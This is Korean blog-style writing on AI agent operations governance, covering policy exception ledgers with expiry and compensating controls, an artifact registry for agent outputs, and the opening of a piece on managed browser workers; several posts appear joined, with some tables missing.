하지만 예외가 채팅 메시지와 구두 합의에 흩어지면 정책은 금방 약해집니다. 한 달 뒤에는 누가 허용했는지, 언제까지였는지, 어떤 보완 통제가 있었는지, 왜 아직 남아 있는지 알 수 없습니다. 그래서 중요해지는 흐름이 Policy Exception Ledger입니다. 정책 예외를 단순 승인 버튼이 아니라 policy_id, scope, owner, expiry, evidence, compensating_control, review_trigger를 가진 운영 기록으로 다루는 방식입니다. 이 흐름은 Review Ops, Capability Lease, Execution Receipt, Policy Shadow Rollout과 이어집니다. 좋은 거버넌스는 예외를 없애는 것이 아니라, 예외가 정책을 삼키지 못하게 만료시키는 것입니다.

이 글에서 얻는 것

• AI 자동화 환경에서 정책 예외가 왜 빠르게 기술 부채가 되는지 이해할 수 있습니다.
• 예외 승인에 필요한 최소 필드와 만료 조건, 재검토 트리거를 설계할 수 있습니다.
• shadow mode, 승인형 예외, 자동 만료를 어떤 순서로 적용할지 판단할 수 있습니다.
• 개발 속도를 막지 않으면서도 위험한 예외가 영구 권한으로 굳지 않게 운영 기준을 세울 수 있습니다.

핵심 개념/이슈

1) 정책보다 예외가 더 빨리 늘어난다

정책은 대개 좋은 의도로 시작합니다. 에이전트가 운영 DB에 직접 접근하지 못하게 하고, 외부 전송 전 승인을 요구하고, 대규모 변경에는 테스트 증거를 붙이게 합니다. 하지만 현실의 작업은 늘 예외를 만듭니다. 긴급 장애 대응, flaky test, 미지원 도구, 새로운 SaaS 연동, 마이그레이션 기간처럼 정상 정책을 그대로 적용하기 어려운 상황이 생깁니다.

문제는 예외가 사라지지 않는다는 점입니다. Slack이나 Discord에 “오늘만 허용"이라고 적었지만, 실제 권한은 계속 남아 있을 수 있습니다. PR 코멘트에 “이번만 테스트 생략"이라고 했지만, 다음 PR에서도 같은 말이 반복될 수 있습니다. 에이전트가 egress 차단을 우회하도록 허용했는데, 어떤 도메인까지 허용했는지 기록이 없을 수도 있습니다.

그래서 예외는 아래 질문에 답해야 합니다.

• 어떤 정책을 예외 처리했는가?
• 영향 범위는 repo, service, user, agent, environment 중 어디까지인가?
• 누가 승인했고 누가 소유자인가?
• 언제 자동 만료되는가?
• 예외 기간 동안 어떤 보완 통제가 있는가?
• 예외가 반복되면 정책을 고쳐야 하는가, 작업 방식을 고쳐야 하는가?

이 질문에 답하지 못하면 예외는 임시 조치가 아니라 숨은 기본값이 됩니다.

2) Ledger는 승인 기록과 실행 증거를 연결한다

Policy Exception Ledger는 단순 목록이 아닙니다. 예외 승인과 실제 실행 증거를 연결해야 합니다. 예를 들어 에이전트가 외부 SaaS 콘솔에서 설정을 바꿔야 하는데 기본 정책은 브라우저 commit action을 막고 있다고 합시다. 이때 ledger에는 “브라우저 쓰기 허용"이라는 짧은 문장만 남기면 부족합니다.

최소 필드는 아래 정도가 현실적입니다.

exception_id: pex_20260520_001
policy_id: browser.commit.requires_approval
scope: repo:billing-service, env:staging, domain:console.vendor.example
requester: agent-run-4821
owner: platform-oncall
approver: security-reviewer-7
expires_at: 2026-05-21T18:00:00+09:00
evidence_required: [screenshot_before, screenshot_after, execution_receipt]
compensating_control: read-only API token, staging only, max 3 commit actions
status: ACTIVE

이 구조가 있으면 Execution Receipt와 연결할 수 있습니다. 승인만 있고 실행 증거가 없으면 완료 처리하지 않고, 실행은 됐지만 예외 ledger가 없으면 사후 감사 대상이 됩니다. 예외는 허용의 기록이면서 동시에 책임 경계입니다.

3) 예외에는 반드시 만료일이 있어야 한다

가장 위험한 예외는 “일단 열어두자"입니다. 권한과 정책 예외는 시간이 지나면 맥락을 잃습니다. 승인자는 팀을 옮기고, 작업자는 기억하지 못하고, 원래 장애는 해결됐는데 예외만 남습니다. 그래서 예외에는 기본 만료일이 필요합니다.

출발 기준은 아래처럼 잡을 수 있습니다.

만료일은 예외의 위험과 복구 비용으로 정합니다. 운영 쓰기 권한은 짧게, 정책 튜닝을 위한 shadow 예외는 조금 길게 둘 수 있습니다. 중요한 것은 만료 전 재검토 알림과 만료 후 동작입니다. 고위험 예외는 자동 차단, 중위험 예외는 read-only 축소, 저위험 예외는 owner에게 재검토 티켓을 만드는 식으로 나눌 수 있습니다.

4) 예외 사유는 정책 개선 데이터다

예외를 부끄러운 우회로만 보면 팀은 기록을 숨깁니다. 반대로 예외를 정책 개선 데이터로 보면 운영 품질이 좋아집니다. 같은 정책이 매주 10번 이상 예외를 만든다면 둘 중 하나입니다. 정책이 너무 엄격하거나, 도구와 워크플로가 정책을 지킬 수 있게 설계되지 않은 것입니다.

그래서 ledger에는 reason code가 필요합니다.

• POLICY_FALSE_POSITIVE: 정책이 정상 작업을 잘못 막음
• TOOLING_GAP: 정책을 지킬 도구가 없음
• URGENT_INCIDENT: 긴급 장애 대응
• LEGACY_SYSTEM: 오래된 시스템이 기준을 만족하지 못함
• BUSINESS_DEADLINE: 외부 일정으로 임시 허용
• RISK_ACCEPTED: 위험을 인지하고 제한적으로 수용

월간 리뷰에서는 예외 개수보다 반복 패턴을 봐야 합니다. 같은 TOOLING_GAP이 5회 이상이면 플랫폼 작업 후보입니다. 같은 owner가 만료 연장을 3회 이상 요청하면 임시 예외가 아니라 정식 정책 변경 검토 대상입니다. 고위험 예외가 승인 후 실행 증거를 남기지 않았다면 예외 프로세스 자체를 강화해야 합니다.

5) 에이전트 정책은 repo-local 규칙과 중앙 ledger가 같이 필요하다

요즘 팀은 저장소별로 AI 에이전트 작업 규칙을 두기 시작했습니다. 어떤 repo는 생성 코드에 테스트를 요구하고, 어떤 repo는 마이그레이션 파일을 사람이 직접 검토해야 하며, 어떤 repo는 특정 디렉터리 수정을 금지합니다. 이 흐름은 Repo-local Agent Policy와 맞닿아 있습니다.

하지만 예외 ledger는 repo 안에만 두기 어렵습니다. 예외는 여러 repo, 여러 agent, 여러 SaaS 권한을 가로지를 수 있기 때문입니다. 좋은 구조는 repo-local policy가 “무엇을 막을지” 정의하고, 중앙 ledger가 “언제 누가 왜 예외를 열었는지” 관리하는 방식입니다. agent runtime은 작업 전 policy를 읽고, 위반 시 ledger에 활성 예외가 있는지 확인합니다. 활성 예외가 없으면 승인 대기로 멈춥니다.

실무 적용

1) 처음부터 모든 정책에 ledger를 붙이지 않는다

도입 순서는 위험도 기준이 좋습니다. 모든 lint 예외, 모든 작은 테스트 예외까지 처음부터 ledger에 넣으면 팀이 지칩니다. 먼저 외부 효과가 있거나 복구가 어려운 예외부터 시작합니다.

우선순위는 아래 순서가 현실적입니다.

1. 운영 환경 권한 상승
2. 외부 메시지·게시·전송
3. 배포·릴리스 차단 정책 우회
4. 브라우저 commit action 허용
5. 네트워크 egress allowlist 예외
6. 테스트·리뷰 증거 누락 예외

이 중 14번은 예외 ledger 없이는 실행하지 못하게 하는 편이 안전합니다. 56번은 초기에 shadow mode로 관찰하고, 반복되는 항목만 승인형으로 올릴 수 있습니다. Agent Sandbox Egress Policy처럼 외부 네트워크와 연결되는 정책은 특히 범위와 만료를 좁게 잡아야 합니다.

2) 예외 요청 템플릿을 1분 안에 채우게 만든다

템플릿이 길면 사람은 우회합니다. 필수 필드는 짧아야 합니다.

예외 요청이 1분 안에 작성되지 않는다면 필드가 너무 많거나 정책 ID가 불명확한 것입니다. 반대로 승인자가 판단하기에 정보가 부족하면 scope와 evidence가 빠진 경우가 많습니다. scope는 좁힐수록 승인하기 쉽습니다. “에이전트 외부 네트워크 허용"보다 “staging에서 docs.vendor.example GET만 48시간 허용"이 훨씬 안전합니다.

3) 예외를 capability lease와 연결한다

예외가 실제 권한을 열어야 한다면 Capability Lease와 연결하는 것이 좋습니다. ledger는 승인 기록이고, lease는 런타임이 실제로 검사하는 만료 권한입니다. 둘을 분리하면 “승인됐지만 권한은 안 열림” 또는 “권한은 열렸는데 승인 기록이 없음” 같은 틈이 생깁니다.

운영 기준은 단순하게 둡니다.

• ledger ACTIVE일 때만 lease 발급
• lease TTL은 ledger 만료보다 길 수 없음
• scope mismatch가 있으면 실행 차단
• 실행 receipt가 없으면 ledger를 USED_UNVERIFIED로 표시
• 만료 후 동일 scope 재요청이 3회 이상이면 정책 리뷰 자동 생성

이 구조는 에이전트에게도 명확합니다. 정책 위반이 발생하면 “무시하고 진행"이 아니라 “예외 ledger가 필요함"으로 상태가 전이됩니다. 사람은 승인하거나 scope를 줄이거나 거절할 수 있습니다.

4) 대시보드는 예외 총량보다 만료와 반복을 보여줘야 한다

운영자가 봐야 할 것은 “예외 42개"가 아닙니다. 더 중요한 것은 만료되지 않은 고위험 예외, 반복되는 reason code, owner 없는 예외입니다.

추천 지표는 아래입니다.

• active_high_risk_exceptions
• exceptions_expiring_in_7d
• expired_but_still_effective_count
• exception_extension_count_by_owner
• policy_false_positive_rate
• exception_without_receipt_count
• repeat_exception_same_scope_30d

경고 기준도 숫자로 둡니다. 고위험 활성 예외가 0이 아닌 상태로 24시간을 넘기면 플랫폼/보안 리뷰 대상입니다. 만료 후에도 실제 권한이 남은 건수가 1개라도 있으면 P1에 가깝습니다. 같은 scope 예외가 30일 안에 3회 이상 반복되면 임시 예외가 아니라 정책·도구 개선 backlog로 올립니다.

운영 시나리오: 예외 요청이 들어왔을 때의 판정 루프

예외 ledger를 실제로 쓰려면 추상 필드보다 판정 루프가 먼저 보여야 합니다. 예를 들어 에이전트가 운영 문서 생성 중 외부 벤더 문서를 가져와야 하는데 기본 sandbox egress 정책이 막고 있다고 합시다. 나쁜 요청은 “인터넷 잠깐 열어 주세요”입니다. 좋은 요청은 “docs.vendor.example의 GET /api/reference/*를 staging 작업 task-4821에서 2시간 동안 허용하고, 다운로드 결과 hash와 실행 receipt를 남기겠습니다”처럼 좁습니다. 같은 예외라도 후자는 승인자가 위험을 읽을 수 있고, 만료 뒤 자동 회수도 가능합니다.

실무 판정은 네 단계로 나누는 편이 안전합니다. 첫째, 정책 위반이 진짜 예외인지 확인합니다. 정책이 오탐인지, 작업 정의가 과도한지, 이미 허용된 표준 경로가 있는지 먼저 봅니다. 둘째, scope를 줄입니다. repo 전체, 모든 브랜치, 모든 도메인, 모든 action 같은 표현이 나오면 승인 전에 env, actor, domain, command, duration 중 최소 두 가지 이상을 좁힙니다. 셋째, 보완 통제를 붙입니다. 읽기 전용 네트워크 허용이면 다운로드 hash와 출처 URL을 남기고, 브라우저 쓰기 action이면 사전 스크린샷과 사후 execution receipt를 남기는 식입니다. 넷째, 만료 이후 학습 루프를 만듭니다. 같은 예외가 반복되면 다음에도 승인할지가 아니라 정책/도구/문서 중 무엇을 고칠지 결정해야 합니다.

간단한 판정표는 아래처럼 운영할 수 있습니다.

이 판정표의 장점은 승인자가 “느낌상 괜찮다”가 아니라 같은 기준으로 대화하게 만든다는 점입니다. 특히 AI 에이전트 작업은 요청 문장이 그럴듯해 보이기 쉽기 때문에, scope와 evidence를 구조화하지 않으면 승인 품질이 사람 컨디션에 크게 흔들립니다. 반대로 템플릿이 너무 무거우면 현장은 우회합니다. 그래서 초기에는 고위험 action에만 강제하고, 낮은 위험의 문서/테스트 예외는 자동 기록으로 시작하는 것이 현실적입니다.

트레이드오프/주의점

첫째, ledger가 지나치게 무거우면 사람은 더 비공식적인 경로로 갑니다. 그래서 초기에는 고위험 예외만 강제하고, 낮은 위험의 예외는 자동 기록 또는 shadow mode로 시작하는 편이 낫습니다. 거버넌스의 목적은 사람을 막는 것이 아니라 위험한 임시 허용이 영구화되지 않게 만드는 것입니다.

둘째, 예외 ledger가 있다고 모든 승인이 안전해지는 것은 아닙니다. 승인자가 내용을 보지 않고 클릭하면 형식만 남습니다. 그래서 고위험 예외에는 evidence requirement와 실행 후 receipt 검증이 필요합니다. “승인됨"과 “안전하게 완료됨"은 다른 상태입니다.

셋째, 예외 사유에는 민감한 정보가 들어갈 수 있습니다. 보안 취약점, 고객 영향, 내부 시스템 이름, 공급업체 계약 정보가 포함될 수 있으므로 접근 제어가 필요합니다. ledger 자체도 운영 자산입니다. 공개 PR 코멘트에 모든 예외 세부사항을 남기는 방식은 피하고, 공개 가능한 요약과 내부 상세 기록을 분리하세요.

넷째, 만료 자동 차단은 장애를 만들 수 있습니다. 운영 장애 대응 중 권한이 갑자기 닫히면 복구가 늦어질 수 있습니다. 그래서 고위험 권한은 짧게 열되 만료 전 알림을 강하게 보내고, incident 모드에서는 별도 break-glass 절차를 둡니다. 단, break-glass도 ledger 밖이면 안 됩니다.

체크리스트 또는 연습

운영 체크리스트

• 정책 위반 발생 시 예외 요청, 거절, scope 축소, 승인 대기 상태가 명확하다.
• 예외에는 policy id, scope, owner, approver, reason code, expiry가 반드시 들어간다.
• 고위험 예외는 execution receipt 또는 artifact evidence 없이는 완료 처리되지 않는다.
• lease나 실제 권한 TTL이 ledger 만료보다 길지 않다.
• 만료 7일 전 또는 위험도별 사전 알림이 있다.
• 만료 후에도 권한이 남은 예외를 탐지하는 지표가 있다.
• 반복 예외를 정책 개선 backlog로 넘기는 기준이 있다.

연습

1. 현재 팀의 AI/자동화 정책을 5개 적고, 그중 예외가 가장 자주 생길 정책을 하나 고르세요. 예외가 필요한 이유를 POLICY_FALSE_POSITIVE, TOOLING_GAP, URGENT_INCIDENT, LEGACY_SYSTEM, BUSINESS_DEADLINE, RISK_ACCEPTED 중 하나로 분류해 봅니다.
2. “staging 콘솔에서 설정 저장 버튼을 1회 눌러야 하는 에이전트 작업"에 대한 예외 ledger 항목을 작성해 보세요. scope를 넓게 쓰지 말고 domain, env, action, TTL을 좁게 잡는 것이 목표입니다.
3. 지난 30일의 예외 요청이 있다고 가정하고, 같은 scope가 3회 이상 반복된 항목을 찾아 정책 변경 후보와 도구 개선 후보로 나눠 보세요.
4. 고위험 예외가 만료된 뒤에도 실제 권한이 남아 있는지 확인하는 쿼리나 점검 절차를 설계해 보세요. ledger와 권한 시스템을 대조하는 것이 핵심입니다.

Policy Exception Ledger의 목표는 정책을 엄격하게 보이게 만드는 것이 아닙니다. 현실의 예외를 인정하되, 예외가 누적되어 기본 정책을 무력화하지 않게 하는 것입니다. AI 에이전트가 더 많은 도구와 권한을 다룰수록 팀의 차이는 “얼마나 많은 자동화를 허용했는가"보다 임시 허용을 얼마나 빨리 회수하고 학습으로 바꾸는가에서 납니다.

그래서 최근 중요해지는 흐름이 Agent Artifact Registry입니다. 에이전트 산출물을 대화 중간에 지나가는 텍스트가 아니라, task_id, artifact_id, hash, kind, retention, sensitivity, verification_status를 가진 작업 자산으로 다루는 방식입니다. 이 흐름은 Background Agent Session Result Inbox, Test Evidence Pipeline, Execution Receipt, Context Offload Layer와 자연스럽게 이어집니다. 요약하면, 에이전트가 일을 많이 할수록 중요한 것은 더 긴 대화가 아니라 나중에 믿고 다시 찾을 수 있는 산출물 계층입니다.

이 글에서 얻는 것

• Agent Artifact Registry가 단순 파일 저장소나 채팅 로그 백업과 어떻게 다른지 이해할 수 있습니다.
• 어떤 에이전트 산출물을 반드시 보존하고, 어떤 것은 즉시 폐기해도 되는지 판단 기준을 세울 수 있습니다.
• artifact metadata, redaction, retention, verification status를 숫자와 조건으로 운영하는 방법을 잡을 수 있습니다.
• result inbox, execution receipt, workspace lease, evidence bundle을 하나의 흐름으로 연결할 수 있습니다.

핵심 개념/이슈

1) 에이전트 산출물은 점점 더 다양해진다

사람 개발자가 남기는 산출물은 대체로 코드 diff, 커밋 메시지, PR 설명, CI 로그 정도였습니다. 에이전트 작업은 여기에 더 많은 중간 산출물을 만듭니다. 문제 재현용 스크립트, 브라우저 스크린샷, 실패한 시도 요약, 모델이 선택하지 않은 후보안, tool call 결과, patch 전후 비교, 외부 문서 근거, 승인 대기 메모까지 생깁니다. 이 중 일부는 최종 PR에 들어가지 않지만, 나중에 “왜 이렇게 바꿨나"를 설명할 때 결정적입니다.

그래서 artifact를 종류별로 나누는 것이 출발점입니다.

모든 것을 영구 보관하면 비용과 개인정보 리스크가 커집니다. 반대로 아무것도 남기지 않으면 리뷰와 감사가 무너집니다. 실무 기준은 “나중에 의사결정이나 복구에 쓰일 가능성이 있는가"입니다. 되돌리기 어려운 작업일수록 artifact를 더 오래, 더 구조적으로 남겨야 합니다.

2) 채팅 로그는 artifact registry가 아니다

에이전트 결과를 채팅에 붙이면 당장은 편합니다. 하지만 채팅은 보존 정책, 접근 제어, 무결성 검증, 검색 구조가 약합니다. 메시지가 수정되거나 삭제될 수 있고, thread가 갈라지면 맥락이 끊깁니다. 이미지나 로그 첨부는 시간이 지나 만료될 수도 있습니다. 무엇보다 채팅은 사람이 읽기 좋은 표면이지, 시스템이 검증하기 좋은 저장 계층이 아닙니다.

Artifact Registry는 아래 질문에 답해야 합니다.

• 이 artifact는 어떤 task와 어떤 agent run에서 생성됐나?
• 원본 파일 또는 로그의 hash가 바뀌지 않았나?
• 개인정보, 시크릿, 고객 데이터가 포함되어 있나?
• 누가 볼 수 있고 언제 삭제해야 하나?
• 어떤 검증을 통과했으며, 어떤 승인이나 receipt와 연결되어 있나?

최소 metadata는 아래 정도면 충분합니다.

artifact_id: art_20260519_00042
task_id: task_fix_checkout_timeout
producer: coding-agent-7
kind: test_evidence
content_ref: s3://agent-artifacts/2026/05/19/art_00042.log
sha256: "..."
sensitivity: internal
retention_days: 90
verification_status: passed
linked_receipt: receipt_20260519_001
created_at: 2026-05-19T10:06:00+09:00

핵심은 저장 위치보다 계약입니다. 로컬 디스크, S3, GitHub Actions artifact, 사내 object store 어디에 둬도 괜찮습니다. 다만 task와 연결되고, 변조 여부를 확인할 수 있고, 보존/삭제/접근 정책이 따라와야 registry라고 부를 수 있습니다.

3) result inbox와 registry는 역할이 다르다

Background Agent Session에서 말한 result inbox는 사람이 결과를 받는 화면입니다. “수정 완료”, “테스트 통과”, “리뷰 필요”, “승인 대기” 같은 상태를 보여줍니다. Artifact Registry는 그 뒤에 있는 근거 저장소입니다. 인박스는 요약과 다음 행동을 보여주고, registry는 원본 증거와 검증 상태를 보존합니다.

예를 들어 에이전트가 버그를 고쳤다고 합시다. 인박스에는 아래 정도가 보이면 충분합니다.

• 변경 요약 5줄
• 수정 파일 3개
• 테스트 결과: passed
• 남은 리스크 1개
• 리뷰 버튼

하지만 registry에는 더 자세한 산출물이 연결됩니다.

• patch artifact
• failing test 재현 로그
• fixed test 실행 로그
• benchmark 전후 비교
• agent가 참조한 문서 링크 snapshot
• execution receipt

이 분리가 중요합니다. 사람에게 원본 로그 2만 줄을 보여줄 필요는 없지만, 의심이 생겼을 때 30초 안에 원본으로 내려갈 수 있어야 합니다. 좋은 UX는 모든 정보를 한 화면에 넣는 것이 아니라, 요약과 근거를 안정적으로 연결하는 것입니다.

4) artifact가 없으면 승인도 약해진다

AI 에이전트 작업에서 사람 승인은 자주 등장합니다. 하지만 사람이 승인하려면 볼 근거가 있어야 합니다. “테스트 통과"라는 문장만 있고 어떤 테스트인지, 어떤 환경인지, 언제 실행했는지, 로그가 어디 있는지 없으면 승인은 사실상 신뢰 위임입니다. 그래서 Execution Receipt와 artifact registry는 같이 가야 합니다.

운영 기준은 간단하게 잡을 수 있습니다.

• 코드 변경 PR: patch + test evidence + touched path summary 없으면 review 대기
• 배포/릴리스: build artifact hash + rollout evidence + rollback note 없으면 승인 불가
• 외부 전송: message draft + recipient scope + approval receipt 없으면 실행 금지
• 브라우저 작업: URL + screenshot 또는 DOM snapshot + action log 중 최소 2개 없으면 완료 처리 금지
• 보안 판정: finding input + triage decision + false positive/confirmed 근거 없으면 close 금지

이 기준은 빡빡해 보이지만, 실제로는 리뷰어의 부담을 줄입니다. 리뷰어가 매번 “로그 어디 있어요?”, “무슨 테스트 돌렸어요?“를 묻지 않아도 되기 때문입니다.

실무 적용

1) 처음에는 5종 artifact만 등록한다

처음부터 모든 tool output과 reasoning을 저장하려고 하면 바로 과해집니다. 시작은 작게 잡는 편이 낫습니다. 추천 5종은 아래입니다.

1. patch/diff summary: 변경 파일, 변경 의도, 위험 경로
2. test evidence: 실행 명령, exit code, 주요 실패/성공 로그 위치
3. decision note: 선택한 방법과 버린 대안 1~2개
4. external effect evidence: 메시지 전송, 배포, 권한 변경 같은 외부 효과 증거
5. visual/browser evidence: 스크린샷, DOM snapshot, URL, action log

주당 에이전트 작업이 20건을 넘거나, 한 작업이 3개 이상 도구를 사용하거나, 결과 검토자가 2명 이상이면 이 5종만 있어도 효과가 큽니다. 반대로 개인 실험 수준이면 metadata 형식만 정해 두고 실제 registry는 나중에 붙여도 됩니다.

2) metadata는 짧고 강하게 고정한다

artifact metadata가 너무 길면 아무도 제대로 채우지 않습니다. 최소 필드는 8개 정도로 시작합니다.

추가 필드는 나중에 붙이면 됩니다. 예를 들어 비용 분석이 필요하면 size와 storage class를 넣고, 보안 감사가 필요하면 redaction policy와 access log ref를 넣습니다. 처음부터 30개 필드를 요구하면 에이전트도 사람도 형식만 맞추고 내용은 비게 됩니다.

3) redaction과 보존 정책을 먼저 넣는다

artifact registry에서 가장 흔한 사고는 “좋은 증거 저장소"가 어느새 “민감한 로그 보관소"가 되는 것입니다. 테스트 로그에는 토큰이 찍힐 수 있고, 브라우저 스크린샷에는 고객 이메일이 보일 수 있고, API 응답 샘플에는 내부 ID가 들어갈 수 있습니다. 따라서 저장 전 redaction이 기본이어야 합니다.

운영 기준은 아래처럼 잡습니다.

• secret 탐지 시 저장 차단 또는 보안 저장소로 격리
• restricted artifact는 링크 공유 금지, task 참여자와 감사자만 접근
• screenshot은 OCR/패턴 기반으로 이메일·전화번호·토큰 후보 마스킹
• raw tool output은 기본 714일, decision/evidence는 30180일 보존
• 외부 효과 evidence는 조직 감사 정책에 맞춰 180일 이상 보존

이 정도만 해도 “무엇을 저장할까"와 “무엇을 저장하면 안 될까"를 동시에 다룰 수 있습니다. 에이전트 운영에서 보존은 품질 문제이면서 보안 문제입니다.

4) registry를 검색 계층과 연결한다

artifact는 저장만 하면 반쪽입니다. 나중에 찾아야 가치가 있습니다. 검색 키는 자유 텍스트보다 운영 키 중심이 좋습니다.

• task id, PR number, commit sha
• agent run id, workspace lease id
• error signature, test name, package name
• service name, owner team, risk label
• approval id, receipt id

이 구조가 있으면 Agent Workspace Lease Broker의 lease 종료 이벤트, Agent Handoff Packet의 인수인계 정보, Test Evidence Pipeline의 검증 결과를 한 번에 엮을 수 있습니다. 에이전트가 만든 결과가 많아질수록 검색 가능한 산출물 그래프가 팀 기억이 됩니다.

트레이드오프/주의점

첫째, artifact registry는 관측성을 높이지만 저장 비용을 만듭니다. 로그, 스크린샷, trace, patch를 모두 보관하면 비용이 빨리 늘어납니다. 기본값은 tiered retention이 좋습니다. raw runtime artifact는 짧게, decision/evidence artifact는 길게, 외부 효과와 감사 대상 artifact는 가장 길게 둡니다.

둘째, registry가 있다고 해서 모든 artifact가 진실은 아닙니다. 에이전트가 잘못된 테스트를 실행했거나, screenshot이 다른 환경에서 찍혔거나, 로그가 실패 부분을 포함하지 않을 수 있습니다. 그래서 artifact에는 verification_status가 필요합니다. uploaded와 verified는 다릅니다. CI가 exit code와 command를 확인했는지, 사람이 검토했는지, hash가 PR과 연결됐는지 상태를 분리해야 합니다.

셋째, 과한 저장은 프라이버시 리스크를 키웁니다. 특히 에이전트가 브라우저와 외부 SaaS를 다루면 화면에 의도치 않은 정보가 찍힐 수 있습니다. 스크린샷은 편하지만 위험합니다. 고위험 화면은 전체 캡처보다 특정 영역 캡처, DOM 텍스트 요약, 마스킹된 evidence를 우선 검토하세요.

넷째, registry를 감시 도구처럼만 운영하면 개발자가 우회합니다. 목적은 사람을 추적하는 것이 아니라 작업 결과를 재현 가능하게 만드는 것입니다. 그래서 개인별 순위표보다 작업 유형별 누락률, artifact 검증 실패율, 리뷰 재질문 감소율을 보는 편이 낫습니다.

체크리스트 또는 연습

운영 체크리스트

• 에이전트 작업 결과에 task_id와 artifact_id가 연결된다.
• diff, test evidence, decision note, external effect evidence, visual evidence 중 필수 artifact 종류가 정해져 있다.
• artifact metadata에 kind, producer, hash, sensitivity, retention, verification status가 있다.
• raw 로그와 스크린샷 저장 전 redaction 또는 차단 절차가 있다.
• PR/배포/외부 전송 같은 고위험 작업은 필수 artifact 누락 시 승인 대기로 멈춘다.
• result inbox는 요약을 보여주고, registry는 원본 증거와 보존 상태를 관리한다.
• artifact 누락률, 검증 실패율, 리뷰어 재질문 횟수를 지표로 본다.

연습

1. 최근 에이전트 또는 자동화 작업 10건을 골라, 각 작업의 결과 증거가 어디에 흩어져 있는지 표로 적어 보세요. 채팅, PR, CI, 로컬 파일, 스크린샷 폴더가 섞여 있다면 registry 후보입니다.
2. 팀의 고위험 작업 3종을 고릅니다. 예를 들어 배포, 외부 메시지 전송, 권한 변경입니다. 각 작업에 대해 승인 전에 반드시 필요한 artifact 3개를 정해 보세요.
3. artifact metadata를 8개 필드 이하로 설계해 보세요. 필드를 늘리고 싶다면 먼저 “이 필드로 어떤 자동 판단을 할 것인가"를 적어야 합니다.
4. raw 로그 1개와 브라우저 스크린샷 1개를 샘플로 잡아 redaction 규칙을 만들어 보세요. 토큰, 이메일, 전화번호, 내부 URL 중 무엇을 마스킹해야 하는지 확인합니다.

Agent Artifact Registry는 에이전트 운영을 무겁게 만드는 장치가 아닙니다. 오히려 작업이 많아질수록 대화를 가볍게 만드는 장치에 가깝습니다. 사람은 인박스에서 요약과 다음 행동만 보고, 필요할 때 registry에서 검증 가능한 근거로 내려갑니다. AI 에이전트 시대의 좋은 개발 플랫폼은 더 많은 출력을 만드는 플랫폼이 아니라, 어떤 출력이 믿을 만하고 얼마나 오래 남아야 하는지 관리하는 플랫폼이 될 가능성이 큽니다.

그래서 중요해지는 흐름이 Managed Browser Worker입니다. 이는 Playwright나 Selenium을 쓰자는 일반론이 아닙니다. AI 에이전트가 사용할 브라우저 인스턴스를 격리된 작업자처럼 관리하고, 어떤 세션으로 접속했는지, 어떤 URL을 열었는지, 어떤 action을 실행했는지, 결과 증거가 무엇인지 남기는 운영 방식입니다. 이 흐름은 Browser Computer Use Agent, MCP Apps, Tool Contract Test, Agent Sandbox Egress Policy와 같은 방향으로 이어집니다. 모델의 능력이 올라갈수록 브라우저 권한의 경계가 더 중요해집니다.

이 글에서 얻는 것

• AI 에이전트 브라우저 자동화가 기존 E2E 테스트와 어떻게 다른지 이해할 수 있습니다.
• 브라우저 세션, 프로필, 쿠키, 권한, 네트워크 출구를 운영 자원으로 나누는 기준을 세울 수 있습니다.
• 읽기 전용 관찰, 승인형 클릭, 제한된 쓰기 작업을 단계적으로 열어주는 rollout 순서를 잡을 수 있습니다.
• 브라우저 작업 결과를 스크린샷·DOM 스냅샷·URL·로그로 검증하는 의사결정 기준을 만들 수 있습니다.

핵심 개념/이슈

1) 브라우저는 에이전트에게 가장 강한 도구 중 하나다

터미널 명령은 대개 파일 시스템과 로컬 프로세스 안에서 끝납니다. 반면 브라우저는 외부 서비스와 바로 연결됩니다. 버튼 하나가 결제 설정을 바꾸고, 체크박스 하나가 사용자 권한을 열고, 폼 제출 하나가 고객에게 이메일을 보낼 수 있습니다. 그래서 브라우저 자동화 권한은 “웹을 볼 수 있음"이 아니라 외부 상태를 바꿀 수 있음으로 봐야 합니다.

특히 로그인된 세션은 민감합니다. 브라우저 프로필에는 쿠키, localStorage, 세션 토큰, SSO 상태, 저장된 입력값, 확장 프로그램 권한이 들어 있습니다. 에이전트에게 개인 브라우저를 그대로 열어주면, 에이전트가 어떤 권한으로 어떤 서비스를 볼 수 있는지 명확하지 않습니다. 실수로 잘못된 탭을 조작하거나, 테스트인 줄 알고 운영 콘솔에서 저장 버튼을 누를 수도 있습니다.

Managed Browser Worker는 이 문제를 줄이기 위해 브라우저를 아래처럼 분리합니다.

처음부터 모든 권한을 가진 브라우저를 하나 두는 방식은 편하지만 위험합니다. 브라우저도 DB 계정처럼 권한 범위를 나눠야 합니다.

2) E2E 테스트와 에이전트 브라우저 작업은 실패 방식이 다르다

전통적인 E2E 테스트는 시나리오가 고정되어 있습니다. 로그인 → 상품 선택 → 장바구니 → 결제처럼 정해진 selector와 assertion을 따라갑니다. 실패하면 테스트가 빨갛게 되고 사람이 수정합니다. 에이전트 브라우저 작업은 다릅니다. 에이전트는 화면을 보고 다음 행동을 결정합니다. selector가 바뀌어도 텍스트나 레이아웃을 보고 적응할 수 있지만, 그만큼 예상하지 못한 행동도 할 수 있습니다.

그래서 안정성 기준도 달라집니다.

• E2E 테스트: 재현성, selector 안정성, CI 속도, flaky rate가 핵심
• 에이전트 브라우저 작업: 권한 경계, action 승인, 관측 증거, 실패 복구가 핵심
• 공통 영역: 고정 viewport, network idle 판단, 스크린샷, trace, 테스트 계정 관리

예를 들어 에이전트가 “관리자 콘솔에서 알림 설정을 확인해줘"라는 작업을 받았다고 합시다. 읽기만 하면 괜찮지만, 화면에 Save 버튼이 보인다고 눌러서는 안 됩니다. 확인 작업과 변경 작업은 다른 권한이어야 합니다. 작업 목적이 read-only라면 click은 허용해도 submit, save, delete, send는 차단하거나 승인으로 올려야 합니다.

3) 브라우저 작업은 증거가 없으면 재검토하기 어렵다

에이전트가 “설정이 정상입니다"라고 말해도, 어떤 화면을 보고 판단했는지 없으면 신뢰하기 어렵습니다. 브라우저 작업에는 최소한의 증거 패키지가 필요합니다.

권장 증거는 아래 네 가지입니다.

1. 최종 URL과 주요 이동 URL
2. 판단 시점의 스크린샷 또는 DOM 스냅샷
3. 실행한 action 목록: click, fill, select, submit 여부
4. 결과 판정과 미확인 항목

작은 작업은 스크린샷 1장과 URL만으로 충분할 수 있습니다. 하지만 권한 변경, 결제 설정, 배포 콘솔, 고객 메시지처럼 외부 효과가 큰 작업은 action log와 전후 스냅샷을 남겨야 합니다. 기준을 숫자로 잡으면 더 좋습니다. 예를 들어 “쓰기 action이 1회 이상 포함되면 전후 스크린샷 2장 이상”, “운영 콘솔 변경은 승인 ID와 실행 로그를 함께 보존”, “실패 후 재시도는 2회까지만 허용"처럼 정합니다.

